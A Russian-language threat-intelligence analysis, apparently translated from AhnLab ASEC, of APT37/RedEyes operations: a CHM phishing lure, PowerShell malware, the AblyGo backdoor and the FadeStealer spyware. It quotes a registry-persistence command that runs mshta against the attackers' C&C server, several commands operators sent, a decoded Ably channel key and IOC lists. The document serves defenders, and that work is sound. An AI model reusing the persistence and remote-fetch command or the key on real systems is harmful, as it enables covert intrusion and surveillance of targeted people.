RedEyes (также известная как APT37, ScarCruft и Reaper) - это спонсируемая государством APT-группа, которая в основном проводит атаки на таких людей, как северокорейские перебежчики, правозащитники и университетские профессора. Известно, что их задачей является наблюдение за жизнью конкретных людей. В мае 2023 года Центр экстренного реагирования AhnLab Security Emergency response Center (ASEC) обнаружил, что группа RedEyes распространяет и использует Infostealer с функциями прослушки, о которых ранее не было известно, а также бэкдор, разработанный с использованием GoLang, который эксплуатирует платформу Ably.
APT37 (RedEyes)
ABLY - это платформа для передачи данных и сообщений в реальном времени. Она также может выполнять публикацию/подписку сообщений, push-уведомления, запросы в реальном времени и синхронизацию состояния.
Угрожающий агент отправлял свои команды через бэкдор GoLang, который использует сервис Ably. Значение API-ключа, необходимое для передачи команд, было сохранено в репозитории GitHub. Это значение API-ключа необходимо для связи с каналом угрожающего агента, поэтому любой может подписаться на него, если знает это значение ключа. Благодаря этому можно определить некоторые команды, использовавшиеся субъектом угрозы во время анализа.
Угрожающий субъект использовал файл CHM (Compiled HTML Help File) для осуществления первоначального взлома. Как и в случае, описанном в марте, "Вредоносное ПО распространялось под видом файла пароля", предполагается, что цели были атакованы с помощью фишинговых писем с обычным документом, защищенным паролем, к которому был прикреплен вредоносный файл CHM, замаскированный под файл пароля. Другими словами, сжимая обычный документ, защищенный паролем, вредоносной программой CHM, угрожающий агент заставлял пользователей поверить, что CHM-файл должен быть выполнен для просмотра защищенного паролем документа.
Когда пользователь выполняет CHM-файл, он видит информацию о пароле. Однако внутренний код сценария в CHM, вызывает выполнение MSHTA.exe, что приводит к выполнению вредоносного сценария с C&C-сервера угрожающего агента.
Вредоносная программа PowerShell использующее технику стеганографии, имела относительно простые функции. Она включала выполнение команд агента угрозы и отправку результатов с помощью CMD.exe, а также регистрацию в реестре ключа RUN для сохранения. Хотя недавно полученная вредоносная программа PowerShell все еще использует ту же регистрацию ключа реестра для сохранения, она не использует CMD.exe и вместо этого выполняет различные действия в зависимости от команды сервера C&C. Особенности показаны ниже в таблице ниже.
Команда | Функция |
fileinfo | Отправляет список файлов и информацию о них (имя, размер, время изменения) по определенному пути, сохраненную в виде CSV, на C&C-сервер и удаляет csv. |
dir | Сжимает папки по определенному пути и отправляет сжатый файл на C&C-сервер перед удалением файла |
file | Загружает определенный файл на сервер C&C |
down | Загружает файлы по определенному пути |
regedit | Возможность редактирования реестра |
task | Функция регистрации в планировщике задач, чтобы она выполнялась многократно с интервалом в 10 минут |
zip | Функция распаковки файлов по определенному пути |
rename | Функция изменения имени определенного файла |
del | Функция удаления файлов по определенному пути |
Вредоносный PowerShell-скрипт, выполняемый MSHTA.exe, использует приведенную ниже команду для регистрации в ключе реестра автозапуска, что позволяет выполнять вредоносные скрипты с C&C-сервера агента угрозы даже после перезагрузки системы.
1 | New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name kcJuWlrQO -Value 'c:\windows\system32\cmd.exe /c PowerShell. exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 569782 2.2.2.2 || mshta hxxp://172.93.181[.]249/control/html/1.html' -PropertyType String -Force; |
Угрожающий агент осуществлял последующие этапы атаки, такие как повышение привилегий, эксфильтрация и распространение вредоносного ПО через бэкдор, использующий сервис платформы Ably, основанный на GoLang. Платформа Ably способна передавать данные в режиме реального времени, и любой человек, имеющий ключ аутентификации канала, может получить доступ к каналу для получения сообщений. В ходе анализа ASEC удалось завладеть ключом аутентификации канала угрожающего субъекта и просмотреть некоторые команды, которые были отправлены целям.
- forfiles /p c:\programdata
- ren c:\programdata\wallpaper-river.jpg wallpaper-river.exe
- forfiles /p c:\programdata
- wmic OS get Caption,CSDVersion,OSArchitecture,Version
- c:\programdata\wallpaper-river.exe
О том, что группа RedEyes использует Ably для отправки команд, ранее сообщали KISA и Sekoia. Найденный в то время GoLang-бэкдор на базе Ably содержал ключ аутентификации в своем бинарном файле, как показано на рисунке 6, но бэкдор, полученный в данном случае, сохранил ключ аутентификации в репозитории GitHub, что позволило получать ключ аутентификации динамически для связи по каналу. Скорее всего, это было сделано для того, чтобы ключ аутентификации канала Ably можно было часто менять, а также для того, чтобы третьи лица не могли читать сообщения канала.
Бэкдор GoLang получает доступ к URL GitHub, который существует в его двоичном файле, и извлекает данные, которые находятся в формате "<>BASE64-encoded channel authentication key", чтобы получить ключ аутентификации канала Ably. Этот метод также можно увидеть на рисунке 4 из статьи "Непреднамеренная утечка: A glimpsese into the attack vectors of APT37" [6], который был опубликован zscaler в марте 2023 года. Согласно этой публикации, угрожающий агент часто совершал атаки на строки, закодированные в BASE64. Расшифровка строки, показанной на рисунке 4, приводит к значению ключа аутентификации Ably.
[GitHub Commit String].
1 | <>S3dITXZ3LmJvaUMzdzpqR2JmMDd3VW9iN3RGanoxM1dxRFE4WJRsVFBDbVBQdldzb3hZYjFxc21r |
[Расшифрованная строка GitHub]
1 | <>KwHMvw.boiC3w:jGbf07wUob7tFjz13WqDQ8X.lTPCmPPvWsoxYb1qsmk (ключ аутентификации Ably) |
Если бэкдор AblyGo запущен на зараженной системе, "<> ключ аутентификации" извлекается из GitHub. Затем он разбирает "<>" с помощью части кода на рисунке 7, после чего декодирует следующую за ним строку с помощью BASE64. Затем через декодированное значение ключа аутентификации осуществляется доступ к Ably-каналу угрожающего агента, где передаются и принимаются сообщения с именами "UP" и "DOWN". Формат и характеристики переданных и полученных данных показаны ниже в таблице 3.
После выполнения AblyGo на зараженном ПК, он отправляет данные "HELLO", закодированные в BASE64, с интервалом примерно от 2 до 5 минут, чтобы показать, что ПК подключен к каналу Ably агента угрозы (имя сообщения: UP).
Угрожающий агент отслеживает канал Ably и определяет идентификатор зараженного ПК. Затем он кодирует команду в BASE64 и передает ее снова (имя сообщения: DOWN).
Выполнение команд, полученных с сервера C&C, осуществляется исключительно через CMD.exe, а результаты команд CMD передаются обратно в канал с помощью сообщения "UP". Другими словами, сообщение "UP" служит агенту угрозы для идентификации зараженного ПК и получения результатов команд, а "DOWN" используется как сообщение для выдачи команд.
После получения команд и контроля угрожающий агент использует известную технику повышения привилегий под названием T1546.015 (Event Triggered Execution: Component Object Model Hijacking) для выполнения дополнительных вредоносных программ.
Угрожающий агент использует бэкдор AblyGo и MSTHA PowerShell, чтобы в конечном итоге выполнить Infostealer в безфайловой форме.
Выполненный Infostealer обладает различными функциями, такими как создание скриншотов, извлечение данных со съемных носителей и смартфонов, прослушивание телефонных разговоров.
Основываясь на характеристике названия папки, в которой хранятся эксфильтрованные данные, ASEC назвала эту недавно обнаруженную вредоносную программу FadeStealer (Fade как кража). FadeStealer создает отдельные папки для каждой эксфильтрованной информации в каталоге %temp%. Он использует встроенную в файл утилиту сжатия RAR для сжатия эксфильтрованных данных с зараженного ПК с интервалом в 30 минут с помощью пароля. FadeStealer отличается скрупулезностью, поскольку использует функцию раздельного сжатия, ограничивая каждый том максимум 1 ГБ, если сжатый файл когда-либо превысит 1 ГБ.
Indicators of Compromise
URLs
- http://172.93.181.249/control/data/
- http://172.93.181.249/control/html/1.html
- http://172.93.181.249/file/
MD5
- 1352abf9de97a0faf8645547211c3be7
- 1c1136c12d0535f4b90e32aa36070682